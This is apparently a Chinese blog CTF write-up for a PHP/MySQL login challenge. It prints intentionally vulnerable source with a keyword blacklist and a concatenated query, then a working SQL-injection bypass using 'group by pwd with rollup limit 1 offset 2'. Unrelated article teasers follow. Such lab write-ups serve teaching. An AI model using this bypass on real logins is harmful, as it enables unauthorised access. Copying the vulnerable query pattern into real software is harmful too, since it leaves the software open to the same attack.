CTF题库>因缺思汀的绕过_preg_match(/.$arrreq./is,$strvalue)==1-程序员宅基地

技术标签： web  ctf 实验吧  

访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码，请求，响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入，XSS等相关知识。涉及方向较多。此题主要涉及源码审计，MySQL相关的知识。

 

flag格式 CTF{}

 

我们访问网站之后 出现这个

我们要先进行查看源码 

发现了 source.txt

访问他之后可以得到

 

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
	echo '<form action="" method="post">'."<br/>";
	echo '<input name="uname" type="text"/>'."<br/>";
	echo '<input name="pwd" type="text"/>'."<br/>";
	echo '<input type="submit" />'."<br/>";
	echo '</form>'."<br/>";
	echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲璧涜墖锛�";
    }
}else{
	print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

 

它把我们经常使用的注入语句 用的函数 都给过滤乐

意思是将uname作为条件输入，然后通过提交的uname去数据库中查询uname和pwd，然后把查询到的pwd和用户输入的pwd再进行对比   如果用户输入的pwd和数据库中查询的pwd相同的话，输出CTF{XXXXXX}

 

构造语句

' or 1=1 group by pwd with rollup limit 1 offset 2 #

 

SELECT * FROM interest where uname=' ' or 1=1 
group by pwd with rollup  （在数据库中添加一行使得pwd=NULL）
limit 1 （只查询一行）
offset 2  （从第二行开始查询）
#注释
此时密码只要为空即可查询成功

得到

 

CTF{with_rollup_interesting}

 
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42777804/article/details/99738713

智能推荐

习题2-3 求平方与倒数序列的部分和 (15分)-程序员宅基地

文章浏览阅读128次。本题要求对两个正整数m和n（m≤n）编写程序，计算序列和m​2​​ +1/m+(m+1)​2​​ +1/(m+1)+⋯+n​2​​ +1/n。输入格式:输入在一行中给出两个正整数m和n（m≤n），其间以空格分开。输出格式:在一行中按照“sum = S”的格式输出部分和的值S，精确到小数点后六位。题目保证计算结果不超过双精度范围。输入样例:5 10输出样例:sum = 355.845635#include<stdio.h>int main(){ int m,n;_习题2-3 求平方与倒数序列的部分和 (15分)

Loadrunner的IP欺骗（含图）_loadrunner作假图-程序员宅基地

文章浏览阅读1k次。转载出处：http://www.51testing.com/?41972使用loadrunner进行IP欺骗首先要注意以下两点：1、 本地的IP设置不能为“自动获取”，必须指定一个静态IP如果本地是动态获取IP，在运行IP Wizard时会弹出提示：The IP_loadrunner作假图

OpenCV-Python 中文教程_opencv-python中文教程-程序员宅基地

文章浏览阅读2.1k次，点赞8次，收藏37次。OpenCV-Python 中文教程索引目录 I 走进 OpenCV 10详细目录I 走进 OpenCV 101 关于 OpenCV-Python 教程 102 在 在 Windows 上安装 OpenCV-Python 113 在 在 Fedora 上安装 OpenCV-Python 12II OpenCV 中的 Gui 特性 134 图片 134.1 读入图像 . . . . . . . . . . . . . . . . . . . . . . . . . . . . ._opencv-python中文教程

日文半角转全角 java_java将日文半角片假名转成全角的方法-程序员宅基地

文章浏览阅读1.2k次。package samples.string.japanese;public class StringUtil {private static final char[] HANKAKU_KATAKANA = { '｡', '｢', '｣', '､', '･','ｦ', 'ｧ', 'ｨ', 'ｩ', 'ｪ', 'ｫ', 'ｬ', 'ｭ', 'ｮ', 'ｯ', 'ｰ', 'ｱ', 'ｲ','ｳ', '..._半角日文转全角日文 java

【自学指南】Python爬虫的四个水平，你修炼到了哪个层次？_爬虫层级-程序员宅基地

文章浏览阅读1.7k次。【自学指南】Python爬虫的四个水平，你修炼到了哪个层次？_爬虫层级

javaCV简单解析gb28181的rtp ps流，并推流到rtmp服务_javacv 解析rtp包-程序员宅基地

文章浏览阅读5.1k次，点赞7次，收藏28次。本文转自javacv社区三群管理员“赶在时间前面”：过去的过去了的博客，感谢大佬倾情贡献，支持javacv社区发展和壮大。国标gb28181全系列都可以参考过去的过去了的博客，再次表示感谢。解析流程参考https://blog.csdn.net/chen495810242/article/details/39207305代码基于github上的修改https://github.com/yangjiechina/JGB28181流解析的代码长时间测试海康摄像时还不稳定，所以主要以学习为..._javacv 解析rtp包

随便推点

esp32 io速度_Adafruit HUZZAH32-ESP32Feather的说明-程序员宅基地

文章浏览阅读661次。概述是的，是您一直在等待的羽毛！HUZZAH32是我们基于ESP32的Feather，使用官方WROOM32模块制成。我们打包了您喜欢的所有有关Feathers的东西：内置USB到串行转换器，自动引导程序重置，锂离子/聚合物充电器以及所有带出的GPIO，因此您可以将其与我们的FeatherWings一起使用。位于该Feather末尾的模块包含一个双核ESP32芯片，4MB的SPIFlash，调谐的..._.pio/libdeps/featheresp32/adafruit busio/adafruit_spidevice.h:9:10: fatal er

电商购物核心功能测试点_中慧 电子商城功能测试-程序员宅基地

文章浏览阅读1.4w次，点赞28次，收藏229次。这份是根据电商中所涉及的业务点整理出的核心功能测试点，更多的偏向于功能性的测试。其后所涉及到的性能测试、压力测试、集成测试等，会在进一步分析，作为一名产品经理应该了解到这部分知识点。..._中慧 电子商城功能测试

语义网络，语义网，链接数据和知识图谱_语义网 图数据库-程序员宅基地

文章浏览阅读7.1k次。前一篇文章“为什么需要知识图谱？什么是知识图谱？——KG的前世今生”提及了和知识图谱相关的一些早期概念。为了让读者能够更好地区分这些概念，以及更好地在整体上把握知识谱图发展过程，本文将对这些概念作一个更为详细的介绍。一、语义网络（Semantic Network）对于初学者来讲，这个概念很容易和..._语义网 图数据库

scala 之 map 操作史上最全_scala map添加元素-程序员宅基地

文章浏览阅读4.6w次，点赞11次，收藏75次。Map(映射)是一种可迭代的键值对（key/value）结构。所有的值都可以通过键来获取。Map 中的键都是唯一的。Map 也叫哈希表（Hash tables）。Map 有两种类型，可变与不可变，区别在于可变对象可以修改它，而不可变对象不可以。默认情况下 Scala 使用不可变 Map。如果你需要使用可变集合，你需要显式的引入 import scala.collection.mutabl..._scala map添加元素

AI时间线：探索人工智能历史的智能工具-程序员宅基地

文章浏览阅读360次，点赞5次，收藏9次。AI时间线：探索人工智能历史的智能工具项目地址:https://gitcode.com/zhugezifang/ai_timeline项目简介AI时间线 是一个精心设计的在线平台，旨在帮助用户深入理解和探索人工智能领域的历史、发展与里程碑事件。它通过可视化的方式，展示了从早期概念提出到最新技术突破的关键信息，为学者、学生和AI爱好者提供了一个互动的学习资源。技术分析该项目基于Web技术实...

python随机生成列表的五种方法，数据库开发面试自我介绍_用随机函数创建一个列表-程序员宅基地

文章浏览阅读848次，点赞23次，收藏9次。Python崛起并且风靡，因为优点多、应用领域广、被大牛们认可。学习 Python 门槛很低，但它的晋级路线很多，通过它你能进入机器学习、数据挖掘、大数据，CS等更加高级的领域。Python可以做网络应用，可以做科学计算，数据分析，可以做网络爬虫，可以做机器学习、自然语言处理、可以写游戏、可以做桌面应用…Python可以做的很多，你需要学好基础，再选择明确的方向。这里给大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！_用随机函数创建一个列表

推荐文章

热门文章

相关标签